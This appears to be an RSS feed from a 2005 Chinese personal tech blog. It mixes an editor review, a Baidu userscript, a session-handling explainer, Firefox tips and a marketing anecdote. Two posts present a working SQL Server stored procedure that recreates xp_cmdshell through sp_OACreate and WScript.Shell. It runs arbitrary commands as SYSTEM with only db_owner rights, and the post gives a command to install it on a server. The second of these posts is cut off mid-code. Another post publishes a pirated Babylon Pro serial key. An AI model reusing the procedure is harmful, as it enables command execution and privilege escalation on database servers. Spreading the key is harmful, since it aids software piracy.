<P>49.我的问题：到目前你的生活，快乐多一些还是其他多一些，为什么？<BR>快乐多一些。什么时候都是这样！<BR><BR>我认识写Blog的人好像都叫你们点过了。我就不点了。</P><img src="http://qihang.net/utility/AggView.ashx?ViewObject=7&PostID=2099" width="1" height="1">]]></description></item><item><title>EmEditor Professional 5.0 ---爽</title><link>http://qihang.net/u/phenge/Blog/archive/2005/11/22/1672.aspx</link><author>phenge</author><dc:creator>phenge</dc:creator><pubDate>Tue, 22 Nov 2005 00:52:00 GMT</pubDate><guid isPermaLink="False">fda5cd7f-5239-462c-9103-941409ef089a:Weblog:1672</guid><comments>http://qihang.net/u/Blog/ShortLink.aspx?UserDomainName=phenge&amp;PostID=1672</comments><slash:comments>2</slash:comments><description><![CDATA[<P>今天一上网发现自己常用的编辑软件EmEditor有新版本了(5.0 RC7)，赶紧下载下来瞧瞧，就一个字：爽 ！<IMG src="/Emoticons/taobao/016.gif"><BR>我感觉最明显的有下面两个改进：<BR>1.内存使用减少了很多，从多窗口变成多线程，就是当打开多个文档时从原先的多个emeditor.exe进程变成一个进程了。<BR>2.启动速度快了很多，这一点在打开多个文件时特别明显。</P>
<P>根据官方网站的测试：同时打开60个HTML文件(每个3KB)。<BR>v4.13版本：60个emeditor.exe进程，每个进程内存5,800-6,000 KB，总共使用内存352MB，平均启动速度15秒。<BR>v5.00版本：一个emeditor.exe进程，内存总共只用了8.992 KB，平均启动速度1秒。<BR>还有一个我比较喜欢的功能就是可以双击关闭文档了，当然还有很多新的功能就不一一介绍了。<IMG src="/Emoticons/taobao/021.gif"><BR>详细功能介绍看这里<A href="http://www.emeditor.com/pro5.htm">http://www.emeditor.com/pro5.htm</A></P><img src="http://qihang.net/utility/AggView.ashx?ViewObject=7&PostID=1672" width="1" height="1">]]></description></item><item><title>BaiDu Enhancer--GreaseMonkey userscript</title><link>http://qihang.net/u/phenge/Blog/archive/2005/10/24/1270.aspx</link><author>phenge</author><dc:creator>phenge</dc:creator><pubDate>Mon, 24 Oct 2005 08:19:00 GMT</pubDate><guid isPermaLink="False">fda5cd7f-5239-462c-9103-941409ef089a:Weblog:1270</guid><comments>http://qihang.net/u/Blog/ShortLink.aspx?UserDomainName=phenge&amp;PostID=1270</comments><slash:comments>2</slash:comments><description><![CDATA[<P>仿照国外的Butler，写了个针对百度搜索的userscript，去掉了Web、Mp3、Image搜索结果页面的广告条，在News、Web、Mp3、Image搜索页面添加了其竞争对手的链接，比较简单。<IMG src="/Emoticons/msn/smile_teeth.gif">&nbsp;下面是源代码：</P>
<P><FONT color=#ffa500>源代码会把网页撑大，去掉了。</FONT>　源代码可以在<A title=bdenhancer.user.js href="http://www.ruchinese.com/news/images/bdenhancer.user.js" target="">这里</A>查看</P><BR>效果截图：（只有网页搜索页面的，其它页面差不多。）<BR><A href="http://www.ruchinese.com/news/images/web_search.png" target=_blank><IMG src="http://www.ruchinese.com/news/images/web_search.png" width=670 border=0></A><img src="http://qihang.net/utility/AggView.ashx?ViewObject=7&PostID=1270" width="1" height="1">]]></description></item><item><title>破解所谓的网页源代码加密</title><link>http://qihang.net/u/phenge/Blog/archive/2005/07/01/460.aspx</link><author>phenge</author><dc:creator>phenge</dc:creator><pubDate>Fri, 01 Jul 2005 02:05:00 GMT</pubDate><guid isPermaLink="False">fda5cd7f-5239-462c-9103-941409ef089a:Weblog:460</guid><comments>http://qihang.net/u/Blog/ShortLink.aspx?UserDomainName=phenge&amp;PostID=460</comments><slash:comments>3</slash:comments><description><![CDATA[<P>&nbsp;<SPAN class=tpc_content>在地址栏或按Ctrl+O，输入：</SPAN> <SPAN style="COLOR: #000000">javascript:s</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">document.documentElement.outerHTML;document.write('</SPAN><SPAN style="COLOR: #000000">&lt;</SPAN><SPAN style="COLOR: #000000">body</SPAN><SPAN style="COLOR: #000000">&gt;</< SPAN><SPAN style="COLOR: #000000">body</SPAN><SPAN style="COLOR: #000000">&gt;</SPAN><SPAN style="COLOR: #000000">');document.body.innerText</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">s;</SPAN></P>
<P><!--StartFragment -->&nbsp;<SPAN class=tpc_content>源代码就出来了。不论加密如何复杂，最终都要还原成浏览器可以解析的html代码，而documentElement.outerHTML正是最终的结果。</SPAN> </P></SPAN><img src="http://qihang.net/utility/AggView.ashx?ViewObject=7&PostID=460" width="1" height="1">]]></description></item><item><title>关于HttpSession的误解</title><link>http://qihang.net/u/phenge/Blog/archive/2005/06/25/428.aspx</link><author>phenge</author><dc:creator>phenge</dc:creator><pubDate>Sat, 25 Jun 2005 03:26:00 GMT</pubDate><guid isPermaLink="False">fda5cd7f-5239-462c-9103-941409ef089a:Weblog:428</guid><comments>http://qihang.net/u/Blog/ShortLink.aspx?UserDomainName=phenge&amp;PostID=428</comments><slash:comments>0</slash:comments><description><![CDATA[<P><FONT face=Arial>关于HttpSession的误解实在是太多了，本来是一个很简单的问题，怎会搞的如此的复杂呢？下面说说我的理解吧：<BR>1、HTTP协议本身是“连接-请求-应答-关闭连接”模式的，是一种无状态协议（HTTP只是一个传输协议）；<BR>2、Cookie规范是为了给HTTP增加状态跟踪用的（如果要精确把握，建议仔细阅读一下相关的RFC），但不是唯一的手段；<BR>3、所谓Session，指的是客户端和服务端之间的一段交互过程的状态信息（数据）；这个状态如何界定，生命期有多长，这是应用本身的事情；<BR>4、由于B/S计算模型中计算是在服务器端完成的，客户端只有简单的显示逻辑，所以，Session数据对客户端应该是透明的不可理解的并且应该受控于服务端；Session数据要么保存到服务端（HttpSession），要么在客户端和服务端之间传递（Cookie或url rewritting或Hidden input）；<BR>5、由于HTTP本身的无状态性，服务端无法知道客户端相继发来的请求是来自一个客户的，所以，当使用服务端HttpSession存储会话数据的时候客户端的每个请求都应该包含一个session的标识(sid, jsessionid 等等)来告诉服务端；<BR>6、会话数据保存在服务端（如HttpSession）的好处是减少了HTTP请求的长度，提高了网络传输效率；客户端session信息存储则相反；<BR>7、客户端Session存储只有一个办法：cookie(url rewritting和hidden input因为无法做到持久化，不算，只能作为交换session id的方式，即a method of session tracking)，而服务端做法大致也是一个道理：容器有个session管理器（如tomcat的org.apache.catalina.session包里面的类），提供session的生命周期和持久化管理并提供访问session数据的api；<BR>8、使用服务端还是客户端session存储要看应用的实际情况的。一般来说不要求用户注册登录的公共服务系统（如google）采用cookie做客户端session存储（如google的用户偏好设置），而有用户管理的系统则使用服务端存储。原因很显然：无需用户登录的系统唯一能够标识用户的就是用户的电脑，换一台机器就不知道谁是谁了，服务端session存储根本不管用；而有用户管理的系统则可以通过用户id来管理用户个人数据，从而提供任意复杂的个性化服务；<BR>9、客户端和服务端的session存储在性能、安全性、跨站能力、编程方便性等方面都有一定的区别，而且优劣并非绝对（譬如TheServerSide号称不使用HttpSession，所以性能好，这很显然：一个具有上亿的访问用户的系统，要在服务端数据库中检索出用户的偏好信息显然是低效的，Session管理器不管用什么数据结构和算法都要耗费大量内存和CPU时间；而用cookie，则根本不用检索和维护session数据，服务器可以做成无状态的，当然高效）；</FONT><BR>10、<FONT face=Arial>所谓的“会话cookie”简单的说就是没有明确指明有效期的cookie，仅在浏览器当前进程生命期内有效，可以被后继的Set-Cookie操作清除掉；holykeeper还是很有敬业精神的！记得3年前偶刚刚开始做J2EE的时候就做过同样的事情，不过我用的是Effetech HTTP Sniffer和Charles HTTP Proxy，另外，我一口气把HTTP RFC 2616，Cookie RFC，URI &amp; URL，MIME等十多个与Web相关的协议标准通读了一遍，在之后的工作中就再也没有被具体的技术问题纠缠过。 </FONT></P><img src="http://qihang.net/utility/AggView.ashx?ViewObject=7&PostID=428" width="1" height="1">]]></description></item><item><title>最强大的英文翻译软件Babylon-Pro 5.0.6破解版</title><link>http://qihang.net/u/phenge/Blog/archive/2005/06/25/427.aspx</link><author>phenge</author><dc:creator>phenge</dc:creator><pubDate>Sat, 25 Jun 2005 03:07:00 GMT</pubDate><guid isPermaLink="False">fda5cd7f-5239-462c-9103-941409ef089a:Weblog:427</guid><comments>http://qihang.net/u/Blog/ShortLink.aspx?UserDomainName=phenge&amp;PostID=427</comments><slash:comments>0</slash:comments><description><![CDATA[<P><!--StartFragment -->&nbsp;来自：苹果心情Blog<BR><BR>注册码提供：苹果<BR>下载连接：华军软件园<BR><BR><SPAN style="COLOR: red">babylon5.05/5.06注册码:Name: People S/N: 4BECA202B9C8963E </SPAN><BR><BR>来自以色列最强大的英文翻译软件 - Babylon Pro，在全球已有超过 70 个国家 2 千 2 百万人使用。Babylon-Pro 提供最专业英文翻译，有别于一般的翻译软件，Babylon 最迷人的是可外加其它语言字典，提供让您翻译一次可同时得到其它语言的翻译。例如您的字典清单中有英英、英中、英德、英日、英韩的字典时。当您查询一个英文单字时，她便同时一次给您所有英中德日韩文的翻译。<BR><BR><A title=http://www.onlinedown.net/soft/2624.htm href="http://www.onlinedown.net/soft/2624.htm" target=_blank>http://www.onlinedown.net/soft/2624.htm</A> </P><img src="http://qihang.net/utility/AggView.ashx?ViewObject=7&PostID=427" width="1" height="1">]]></description></item><item><title>我用FireFox</title><link>http://qihang.net/u/phenge/Blog/archive/2005/06/21/405.aspx</link><author>phenge</author><dc:creator>phenge</dc:creator><pubDate>Tue, 21 Jun 2005 05:33:00 GMT</pubDate><guid isPermaLink="False">fda5cd7f-5239-462c-9103-941409ef089a:Weblog:405</guid><comments>http://qihang.net/u/Blog/ShortLink.aspx?UserDomainName=phenge&amp;PostID=405</comments><slash:comments>1</slash:comments><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 用了一段时间的FireFox，感觉真是不错，不愧是可以跟IE相抗衡的浏览器，最吸引我的是它那丰富的扩展(extensions)，在这里推荐一个下载extensions的好地方(<a href="https://addons.mozilla.org/extensions/">https://addons.mozilla.org/extensions</a> . <A href="http://www.extensionsmirror.nl">www.extensionsmirror.nl</A>)，真是只有你想不到的，不会有你找不到的。<IMG src="/emoticons/emotion-2.gif" border=0><BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 最近发现All-in-One Gestures里的手势是如此的方便。还有adblock，可以练习一下正则表达式。还有wmlbrowser浏览wap网站，还有Cookie Editor. Live HTTP Headers. SessionSaver等，太多了。<IMG src="/emoticons/emotion-21.gif" border=0><IMG src="/emoticons/emotion-21.gif" border=0><img src="http://qihang.net/utility/AggView.ashx?ViewObject=7&PostID=405" width="1" height="1">]]></description></item><item><title>喜欢用命令行的朋友的最爱</title><link>http://qihang.net/u/phenge/Blog/archive/2005/06/16/395.aspx</link><author>phenge</author><dc:creator>phenge</dc:creator><pubDate>Thu, 16 Jun 2005 10:56:00 GMT</pubDate><guid isPermaLink="False">fda5cd7f-5239-462c-9103-941409ef089a:Weblog:395</guid><comments>http://qihang.net/u/Blog/ShortLink.aspx?UserDomainName=phenge&amp;PostID=395</comments><slash:comments>0</slash:comments><description><![CDATA[<P>前些日子，在一外国论坛看到这个小工具，就下载下来用了用，感觉还不错。</P>
<P><IMG src="/photos/phenge/images/474/original.aspx">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<IMG src="/photos/phenge/images/472/original.aspx"><BR><BR><IMG src="/photos/phenge/images/473/original.aspx"><BR></P>
<P>喜欢命令行的朋友可以试下.<BR><A class="" title="" href="http://www.ruchinese.com/trade/images/commandline.rar" target="">下载地址</A></P><img src="http://qihang.net/utility/AggView.ashx?ViewObject=7&PostID=395" width="1" height="1">]]></description></item><item><title>一个卖报老汉的营销</title><link>http://qihang.net/u/phenge/Blog/archive/2005/06/08/325.aspx</link><author>phenge</author><dc:creator>phenge</dc:creator><pubDate>Wed, 08 Jun 2005 08:10:00 GMT</pubDate><guid isPermaLink="False">fda5cd7f-5239-462c-9103-941409ef089a:Weblog:325</guid><comments>http://qihang.net/u/Blog/ShortLink.aspx?UserDomainName=phenge&amp;PostID=325</comments><slash:comments>1</slash:comments><description><![CDATA[<P>一个卖报老汉的营销</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 每天坐35W车上下班，车站总有一个卖报纸的老汉。老汉穿着整洁，看上去精神矍烁。 看起来每天的生意都不错。 </P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 有一天下班时间不算晚，买了他一份杂志，便和他闲聊了起来。 “老师傅，生意不错吧！” “嗯，还可以，过得去吧！” “看您成天忙忙碌碌的，收成一定不错吧！” “呵呵，还不错吧！反正养老婆和供孩子读书基本没问题了！朋友，别看我普普通通， 我家女儿可是在南大读书哩！学费贵着哩！” “哟，老师傅，你真行啊！一般人可没您这么大能耐呢！” “呵呵，朋友你可真会说话。不过你倒没说错，我吧，不动不摇，一个月4000块是没有 问题的！” </P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 老汉打开了话匣子，和我聊了起来。 </P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 两年前，老汉在工厂下岗了。下岗工资就那么少，生活的压力，使得老汉开始打算卖报 挣钱。(<FONT color=#ff0000>制定工作目标</FONT>)。几经挑选，发现35W车总店人流量大，车次多，于 是选定在35W车总站卖报 (<FONT color=#ff0000>经初步市场分析，选择终端销售点</FONT>)。 </P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 但是，经过几天蹲点发现，车站固定的卖报人已经有了两个。(<FONT color=#ff0000>营销环境论证</FONT>)。其中 一个卖了很长的时间了，另一个好象是车站一位驾驶员的熟人。 (<FONT color=#ff0000>对竞争对手进行初步分析</FONT>)。如果不做任何准备就直接进场卖报，一定会被人家赶出来的。于是老汉打算从车站的管理人员下手 (<FONT color=#ff0000>制定公关策略</FONT>)。开始，老汉每天给几位管理人员每人送份报纸，刚开始人家跟他不熟，不要他的报纸。他就说这是在附近卖报多余的，车站管理员也不是什么大官，一来二去也就熟了。老汉这时就开始大倒苦水，说现在下岗了，在附近卖报销量也不好，一天卖不了几份，而马上女儿就要参加高考了，高昂的学费实在是无力负担，女儿学习成绩那么好，如果让她不读了真的对不起她了…… (<FONT color=#ff0000>与公关对象接触，并博取同情</FONT>)。人心都是肉做的，车站管理员就热心帮他出主意：那你就要我们车站来卖报嘛。我们这边生意蛮好的，他们每天都能卖几百份呢。 </P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 大功告成了！有了车站管理员的许可，老汉光明正大的进场了。当然，老汉不会忘记每 天孝敬管理员每人一份报纸 (<FONT color=#ff0000>公共关系维护</FONT>)。 </P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 可是，这场是进了，可一共三个卖报人，卖的可是同样的报纸。老汉冥思苦想一番(<FONT color=#ff0000>进 行营销策略分析</FONT>)，有了！另两个卖报的都是各有一个小摊点，在车站的一左一右。老汉决定，不摆摊，带报纸到等车的人群中和进车厢里卖。 (<FONT color=#ff0000>差异化营销，渠道创新，变店铺销售为直销</FONT>)。卖一段时间下来，老汉还总结了一些门道：等车的人中一般中青年男的喜欢买报纸、上车的人中一般有座位的人喜欢买报纸并喜欢一边吃早点一边看(<FONT color=#ff0000>消费者分析</FONT>)、有重大新闻时报纸卖的特别多 (<FONT color=#ff0000>销售数据分析</FONT>)。 </P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 于是，老汉又有了新创意。每天叫卖报纸时，不再叫唤：快报、晨报、金陵晚报，三毛 一份，五毛两份。而是换了叫法，根据新闻来叫。什么伏明霞嫁给53岁的梁锦松啦、汤山投毒案告破啦、一个女检查长的堕落啦、非典疫情新进展，病毒研究有重大突破啦什么的 (<FONT color=#ff0000>对产品进行分析，挖掘USP独特的销售主张</FONT>)。果然，这一招十分见效！原先许多没打算买的人都纷纷买报纸。几天下来，老汉发现，每天卖的报纸居然比平时多了一半！ </P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 同时，老汉还凭借和车站管理员的良好关系，让同样下岗的老婆在车站摆了个小摊，卖 豆浆。旁边卖早点的摊点已经有十来个了，带卖豆浆的也有4、5家。而老汉不同，老汉只卖豆浆，而且老汉的豆浆是用封口机封装的那种，拿在手上不会洒出去。比人家多花了500多块买的一台封口机，豆浆价格比别人贵一毛钱。因为座车吃早点的人通常没法拿饮料，因为怕洒。有了这个封口豆浆，这个问题就解决了。(<FONT color=#ff0000>针对目标消费者的潜在需求，开发边缘产品</FONT>)。结果，老汉老婆的豆浆摊生意出奇地好！ </P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 这样做了大约半年左右，车站的一家报摊由于生意不太好就不卖了，于是老汉就接下这 个地方支起了自己的报摊。但老汉又有不同：买了政府统一制作的报亭，气派又美观 。(<FONT color=#ff0000>有统一的VI，有助于提升形象</FONT>)。老汉的经营品种也从单一的卖报纸发展到卖一些畅销杂志 (<FONT color=#ff0000>产品线延伸</FONT>)。销量更上一层楼了。老汉还会根据什么杂志好卖搞一些优惠，比如说买一本《读者》送一份《快报》什么的，因为杂志赚的比较多。(<FONT color=#ff0000>促销策略，用利润空间较大的产品做买赠促销，并选择受欢迎的赠品</FONT>)。老汉的女儿周末在肯德基打工，经常带回来一些优惠券，于是，这又成了老汉促销的独特武器！买报纸杂志一份，赠送肯德基优惠券一份。 (<FONT color=#ff0000>整合资源，创造差异化</FONT>) </P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 同时，由于老汉这个报亭良好的地理位置，和巨大的销量，很快就被可口可乐公司发现 了，他们安排业务人员上门，在老汉的报亭里张帖了可口可乐的宣传画，安放了小冰箱，于是，老汉的报亭不仅变得更漂亮更醒目，还能收一些宣传费，而且增加了卖饮料的收入。(<FONT color=#ff0000>开发新的盈利项目成功</FONT>) </P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 就这样一直做了两年，老汉的卖报生意有声有色。每月的收入都不低于4000元。现在， 老汉又有了新的目标，就是附近的有线电厂小区。老汉打算在小区出口的小胡同里再开一家新的报亭 (<FONT color=#ff0000>利用成型的管理和共享的资源，走连锁经营路线</FONT>)，把女儿将来读研的钱也挣到手！ </P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 和老汉的一席谈话，收获颇多。卖报卖出这样的经营哲学，这位老汉可才是真正的实战派营销人。</P><img src="http://qihang.net/utility/AggView.ashx?ViewObject=7&PostID=325" width="1" height="1">]]></description></item><item><title>一个下载Firefox、Thunderbird插件、主题、扩展的好地方</title><link>http://qihang.net/u/phenge/Blog/archive/2005/06/02/247.aspx</link><author>phenge</author><dc:creator>phenge</dc:creator><pubDate>Thu, 02 Jun 2005 04:48:00 GMT</pubDate><guid isPermaLink="False">fda5cd7f-5239-462c-9103-941409ef089a:Weblog:247</guid><comments>http://qihang.net/u/Blog/ShortLink.aspx?UserDomainName=phenge&amp;PostID=247</comments><slash:comments>1</slash:comments><description><![CDATA[<P><IMG src="/emoticons/emotion-2.gif" border=0><IMG src="/emoticons/emotion-2.gif" border=0><IMG src="/emoticons/emotion-4.gif" border=0><BR><A href="http://www.extensionsmirror.nl/">http://www.extensionsmirror.nl</A></P><img src="http://qihang.net/utility/AggView.ashx?ViewObject=7&PostID=247" width="1" height="1">]]></description></item><item><title>打造自己的xp_cmdshell (续)</title><link>http://qihang.net/u/phenge/Blog/archive/2005/05/31/215.aspx</link><author>phenge</author><dc:creator>phenge</dc:creator><pubDate>Tue, 31 May 2005 02:21:00 GMT</pubDate><guid isPermaLink="False">fda5cd7f-5239-462c-9103-941409ef089a:Weblog:215</guid><comments>http://qihang.net/u/Blog/ShortLink.aspx?UserDomainName=phenge&amp;PostID=215</comments><slash:comments>0</slash:comments><description><![CDATA[<PRE><DIV><!--

Code highlighting produced by Actipro CodeHighlighter (freeware)
http://www.CodeHighlighter.com/

--><IMG src="/images/OutliningIndicators/None.gif" align=top><SPAN style="COLOR: #0000ff">CREATE</SPAN><SPAN style="COLOR: #000000"> </SPAN><SPAN style="COLOR: #0000ff">PROCEDURE</SPAN><SPAN style="COLOR: #000000"> dbo.sp_myxpcmdshell1(@cmd </SPAN><SPAN style="FONT-WEIGHT: bold; COLOR: #000000">varchar</SPAN><SPAN style="COLOR: #000000">(</SPAN><SPAN style="FONT-WEIGHT: bold; COLOR: #800000">255</SPAN><SPAN style="COLOR: #000000">), @Wait </SPAN><SPAN style="FONT-WEIGHT: bold; COLOR: #000000">int</SPAN><SPAN style="COLOR: #000000"> </SPAN><SPAN style="COLOR: #808080">=</SPAN><SPAN style="COLOR: #000000"> </SPAN><SPAN style="FONT-WEIGHT: bold; COLOR: #800000">0</SPAN><SPAN style="COLOR: #000000">) </SPAN><SPAN style="COLOR: #0000ff">AS</SPAN><SPAN style="COLOR: #000000">
<IMG src="/images/OutliningIndicators/None.gif" align=top>
<IMG src="/images/OutliningIndicators/None.gif" align=top></SPAN><SPAN style="COLOR: #0000ff">DECLARE</SPAN><SPAN style="COLOR: #000000"> @FSOUT </SPAN><SPAN style="FONT-WEIGHT: bold; COLOR: #000000">int</SPAN><SPAN style="COLOR: #000000">,@ShellID </SPAN><SPAN style="FONT-WEIGHT: bold; COLOR: #000000">int</SPAN><SPAN style="COLOR: #000000">,@FSOID </SPAN><SPAN style="FONT-WEIGHT: bold; COLOR: #000000">int<BR></SPAN><SPAN style="COLOR: #000000"><IMG src="/images/OutliningIndicators/None.gif" align=top></SPAN><SPAN style="COLOR: #0000ff">DECLARE</SPAN><SPAN style="COLOR: #000000"> @cmdtemp </SPAN><SPAN style="FONT-WEIGHT: bold; COLOR: #000000">varchar</SPAN><SPAN style="COLOR: #000000">(</SPAN><SPAN style="FONT-WEIGHT: bold; COLOR: #800000">255</SPAN><SPAN style="COLOR: #000000">), @str </SPAN><SPAN style="FONT-WEIGHT: bold; COLOR: #000000">varchar</SPAN><SPAN style="COLOR: #000000">(</SPAN><SPAN style="FONT-WEIGHT: bold; COLOR: #800000">4000</SPAN><SPAN style="COLOR: #000000">),@tempfile </SPAN><SPAN style="FONT-WEIGHT: bold; COLOR: #000000">varchar</SPAN><SPAN style="COLOR: #000000">(</SPAN><SPAN style="FONT-WEIGHT: bold; COLOR: #800000">255</SPAN><SPAN style="COLOR: #000000">)
<IMG src="/images/OutliningIndicators/None.gif" align=top></SPAN><SPAN style="COLOR: #0000ff">SET</SPAN><SPAN style="COLOR: #000000"> @tempfile </SPAN><SPAN style="COLOR: #808080">=</SPAN><SPAN style="COLOR: #000000"> </SPAN><SPAN style="COLOR: #ff0000">'</SPAN><SPAN style="COLOR: #ff0000">C:\temp</SPAN><SPAN style="COLOR: #ff0000">'</SPAN><SPAN style="COLOR: #000000">
<IMG src="/images/OutliningIndicators/None.gif" align=top></SPAN><SPAN style="COLOR: #0000ff">SET</SPAN><SPAN style="COLOR: #000000"> @cmdtemp </SPAN><SPAN style="COLOR: #808080">=</SPAN><SPAN style="COLOR: #000000"> </SPAN><SPAN style="COLOR: #ff0000">'</SPAN><SPAN style="COLOR: #ff0000">cmd.exe /c </SPAN><SPAN style="COLOR: #ff0000">'</SPAN><SPAN style="COLOR: #000000"> </SPAN><SPAN style="COLOR: #808080">+</SPAN><SPAN style="COLOR: #000000"> @cmd </SPAN><SPAN style="COLOR: #808080">+</SPAN><SPAN style="COLOR: #000000"> </SPAN><SPAN style="COLOR: #ff0000">'</SPAN><SPAN style="COLOR: #ff0000">&gt;</SPAN><SPAN style="COLOR: #ff0000">'</SPAN><SPAN style="COLOR: #808080">+</SPAN><SPAN style="COLOR: #000000"> @tempfile
<IMG src="/images/OutliningIndicators/None.gif" align=top>
<IMG src="/images/OutliningIndicators/None.gif" align=top></SPAN><SPAN style="COLOR: #0000ff">EXEC</SPAN><SPAN style="COLOR: #000000"> sp_OACreate </SPAN><SPAN style="COLOR: #ff0000">'</SPAN><SPAN style="COLOR: #ff0000">WScript.Shell</SPAN><SPAN style="COLOR: #ff0000">'</SPAN><SPAN style="COLOR: #000000">, @ShellID OUT
<IMG src="/images/OutliningIndicators/None.gif" align=top></SPAN><SPAN style="COLOR: #0000ff">EXEC</SPAN><SPAN style="COLOR: #000000"> sp_OAMethod @ShellID, </SPAN><SPAN style="COLOR: #ff0000">'</SPAN><SPAN style="COLOR: #ff0000">Run</SPAN><SPAN style="COLOR: #ff0000">'</SPAN><SPAN style="COLOR: #000000">, </SPAN><SPAN style="COLOR: #0000ff">Null</SPAN><SPAN style="COLOR: #000000">, @cmdtemp, </SPAN><SPAN style="FONT-WEIGHT: bold; COLOR: #800000">0</SPAN><SPAN style="COLOR: #000000">, @Wait
<IMG src="/images/OutliningIndicators/None.gif" align=top></SPAN><SPAN style="COLOR: #0000ff">EXEC</SPAN><SPAN style="COLOR: #000000"> sp_OADestroy @ShellID
<IMG src="/images/OutliningIndicators/None.gif" align=top>
<IMG src="/images/OutliningIndicators/None.gif" align=top></SPAN><SPAN style="COLOR: #0000ff">EXEC</SPAN><SPAN style="COLOR: #000000"> sp_OACreate </SPAN><SPAN style="COLOR: #ff0000">'</SPAN><SPAN style="COLOR: #ff0000">scripting.filesystemobject</SPAN><SPAN style="COLOR: #ff0000">'</SPAN><SPAN style="COLOR: #000000">, @FSOID OUT
<IMG src="/images/OutliningIndicators/None.gif" align=top></SPAN><SPAN style="COLOR: #0000ff">EXEC</SPAN><SPAN style="COLOR: #000000"> sp_OAMethod @FSOID, </SPAN><SPAN style="COLOR: #ff0000">'</SPAN><SPAN style="COLOR: #ff0000">opentextfile</SPAN><SPAN style="COLOR: #ff0000">'</SPAN><SPAN style="COLOR: #000000">, @FSOUT OUT, @tempfile, </SPAN><SPAN style="FONT-WEIGHT: bold; COLOR: #800000">1</SPAN><SPAN style="COLOR: #000000">
<IMG src="/images/OutliningIndicators/None.gif" align=top></SPAN><SPAN style="COLOR: #0000ff">EXEC</SPAN><SPAN style="COLOR: #000000"> sp_OAMethod @FSOUT, </SPAN><SPAN style="COLOR: #ff0000">'</SPAN><SPAN style="COLOR: #ff0000">readall</SPAN><SPAN style="COLOR: #ff0000">'</SPAN><SPAN style="COLOR: #000000">, @str OUT
<IMG src="/images/OutliningIndicators/None.gif" align=top>
</SPAN><SPAN style="COLOR: #000000"><IMG src="/images/OutliningIndicators/None.gif" align=top></SPAN><SPAN style="COLOR: #0000ff">EXEC</SPAN><SPAN style="COLOR: #000000"> sp_OAMethod @FSOID, </SPAN><SPAN style="COLOR: #ff0000">'</SPAN><SPAN style="COLOR: #ff0000">DeleteFile</SPAN><SPAN style="COLOR: #ff0000">'</SPAN><SPAN style="COLOR: #000000">,</SPAN><SPAN style="COLOR: #0000ff">Null</SPAN><SPAN style="COLOR: #000000">, @tempfile
<IMG src="/images/OutliningIndicators/None.gif" align=top></SPAN><SPAN style="COLOR: #0000ff">EXEC</SPAN><SPAN style="COLOR: #000000"> sp_OADestroy @FSOID
<IMG src="/images/OutliningIndicators/None.gif" align=top>
<IMG src="/images/OutliningIndicators/None.gif" align=top></SPAN><SPAN style="COLOR: #0000ff">PRINT</SPAN><SPAN style="COLOR: #000000"> @str</SPAN></DIV></PRE><BR>
<P>&nbsp;想了一个办法，现在有回显了，不过还是有点小问题。待解决。</P><img src="http://qihang.net/utility/AggView.ashx?ViewObject=7&PostID=215" width="1" height="1">]]></description></item><item><title>打造自己的xp_cmdshell</title><link>http://qihang.net/u/phenge/Blog/archive/2005/05/27/190.aspx</link><author>phenge</author><dc:creator>phenge</dc:creator><pubDate>Fri, 27 May 2005 00:42:00 GMT</pubDate><guid isPermaLink="False">fda5cd7f-5239-462c-9103-941409ef089a:Weblog:190</guid><comments>http://qihang.net/u/Blog/ShortLink.aspx?UserDomainName=phenge&amp;PostID=190</comments><slash:comments>1</slash:comments><description><![CDATA[<P>1)说明<BR>&nbsp; <BR>&nbsp; 这里并不需要SA权限，只需对master库的db_owner权限。成功后以mssql的权限(也就是<FONT color=#ff0000>SYSTEM</FONT>)执行命令。</P>
<P>2)创建</P>
<P>&nbsp; 在查询分析器里执行下面代码（或者执行 osql.exe -S 192.168.1.1 -U user -P pass -i mycmdshell.sql）</P>
<P></P><PRE><DIV><!--

Code highlighting produced by Actipro CodeHighlighter (freeware)
http://www.CodeHighlighter.com/

--><IMG id=Codehighlighter_0_126_Open_Image onclick="this.style.display='none'; Codehighlighter_0_126_Open_Text.style.display='none'; Codehighlighter_0_126_Closed_Image.style.display='inline'; Codehighlighter_0_126_Closed_Text.style.display='inline';" src="/images/OutliningIndicators/ExpandedBlockStart.gif" align=top><IMG id=Codehighlighter_0_126_Closed_Image style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter_0_126_Closed_Text.style.display='none'; Codehighlighter_0_126_Open_Image.style.display='inline'; Codehighlighter_0_126_Open_Text.style.display='inline';" src="/images/OutliningIndicators/ContractedBlock.gif" align=top><SPAN id=Codehighlighter_0_126_Closed_Text style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff">/**/</SPAN><SPAN id=Codehighlighter_0_126_Open_Text><SPAN style="COLOR: #008080">/*</SPAN><SPAN style="COLOR: #008080">
<IMG src="/images/OutliningIndicators/InBlock.gif" align=top>FileName:mycmdshell.sql
<IMG src="/images/OutliningIndicators/InBlock.gif" align=top>Author:Phenge
<IMG src="/images/OutliningIndicators/InBlock.gif" align=top>Date: 2005.05.26
